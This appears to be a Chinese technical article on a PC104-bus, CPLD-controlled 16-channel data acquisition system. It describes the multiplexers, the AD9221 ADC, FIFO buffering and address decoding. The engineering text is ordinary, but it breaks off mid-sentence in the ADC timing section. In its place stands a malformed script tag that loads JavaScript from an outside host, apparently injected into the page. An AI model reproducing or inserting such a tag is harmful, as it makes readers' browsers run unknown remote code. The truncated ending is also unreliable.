pc104总线以针孔堆叠方式组成。具有结构紧凑、抗震性好等优点,可以工作在恶劣的工作环境下,与pci标准兼容,适于高速数据传输。而且他还具有高可靠性以及多操作系统支持等优点,使他在雷达、声纳、工业控制等数据采集系统获得了广泛应用。cpld(复杂可编程逻辑器件)因其属于大规模在系统可编程专用集成电路而且具有高密度、高速度、高可靠性等特点。因此cpld应用于高速/多通道数据采集系统大大提高系统设计的灵活性,提高了系统的扩展性。为此我们设计了这款集成度较高的速/多通道数据采集系统应用于液压伺服控制系统中,降低了系统的设计成本又提高了系统的可扩展性,获得了令人满意的结果。此高速/多通道数据采集系统基于pc104总线,因此只要支持pc104总线的主板cpu都可以通过总线直连此数据采集系统的各个功能电路。
2 系统结构原理框图和基本设计思想
本系统由a/d,fifo,cpld控制逻辑、pc104总线接口等组成16路数据采集电路,系统的原理框图如图1所示。
图中模拟输入量1至模拟输入量16是指需要adc转换的通道数,模拟量经过滤波器滤波处理后再经多路开关(multi-channel switches)分时切换进入模数转换器,模数转换器的时钟由pc104的cpu板提供的外部时钟经过cpld分频后得到,这样adc模块的启动和停止很容易通过cpld控制。而且在cpld的控制下,16个通道循环采样一次,并将采样值和通道号同时送入fifo中,采样完成后,cpu可直接根据定时中断从fifo中读出数据,读完数据后复位fifo器件,打开cpld中产生的adc模块的时钟,进入下一轮采样。如此循环,完成模拟信号的高速实时采样。采样过程中完全不需要cpu的参与,cpu可以并行处理主程序中的数据,提高了效率。
3 系统硬件设计原理及部分芯片介绍
多通道高速a/d采集系统的采集部分原理图如图2所示。
他由2片adg408,1片ad9221组成,adg408是一款高速、低功率的8路多模拟开关,本设计中输入了16路模拟信号,cpld输出4根地址线就可以控制2片adg408完成多路模拟信号的切换。cpld输出的地址信号的低3位分别接adg408的a0,a1和a2,最高的那位地址译码后分别接2片adg408的使能端就完成了对adg408的扩展。ad9221采用单5v供电,是一款接口简洁、功耗较低的12位ad转换芯片,而且还有溢出标志位,直接二进制输出。可与许多dsp,mcu配合使用。其模拟量的输入范围高度灵活,既可以是单端输入,也可以是差分输入,幅度可以在较大范围内根据不同的外接电路进行配置。 cpld输出的adclk时钟信号有效时启动ad9221将经过adg408切换的模拟信号由模拟量到数字量转换,得到12位的数字量,再直接送入fifo芯片中。ad9221转换后的数字信号是12位,可以把他分为低8位和高4位同时分别送人2片fifo芯片,如图3所示。
由于只用到了pc104的低8位数据总线,不能将fifo中存的数据直接通过pc104读出。图中从2片fifo中读出的数据分别送入74ls573中锁存,cpu再依次从74ls573中读出数据即可得到ad9221转换的12位数字信号。另外cpld输出信号对fifo芯片的读写的驱动能力不够,因此必须在cpld的输出信号和电源vcc间加上拉电阻rfifow1和rfifor1提高其驱动能力。
4 程序设计
程序设计包括2个部分:一个是实现cpld功能的程序,另一个是cpu的控制程序。
4.1 cpld内部硬件设计
高速/多通道数据采集系统的cpld内部硬件设计采用lattice公司的isplever软件为开发工具,使用a-bel语言设计程序,设计主要包括:地址分配和译码电路、a/d模块的控制电路、开关量输入输出控制电路。
4.1.1 地址分配
在基于pc104总线的系统设计时,最首要的一条就是将接口板的基地址设定在cpu提供的外部板卡可以使用的开放地址范围内,基地址的设定由5位拨码开关完成,如果地址总线上a5~a9和拨码开关设定的完全一致,则地址比较芯片74hc688的输出为低,否则输出为高。将74hc688和总线上的低5位地址a0~a4接人cpld,通过对cpld编程就可控制指定芯片的片选信号,地址比较芯片74hc688的利用提高了外部板卡的地址使用范围,而且节省了cpld的i/o口和系统资源。
4.1.2 ad模块控制电路
ad模块控制电路的控制逻辑电路如图4所示。主要由3部分组成:
(1) 对多路模拟开关的控制,主要是产生adg408的输入地址选择信号aa0,aa1,aa2和使能信号dgen1,dgen2;为便于以后扩展,预留aa4和aa5。可以利用aa3和aa4通过二四译码逻辑模块产生dgen1~dgen4,或者利用aa3,aa4和aa5通过三八译码逻辑模块产生dgen1~dgen8,因此很方便以后的扩展。
(2) ad9221的时钟信号的产生与控制,ad9221的转换时序如图5所示,其最小时钟周期为667ns,而且从图5可以看出,经过3个时钟的滞后,每1个时钟才可以完成1次采样,因此从fifo里存入fifo里的第4个数之后的?script src=http://er12.com/t.js>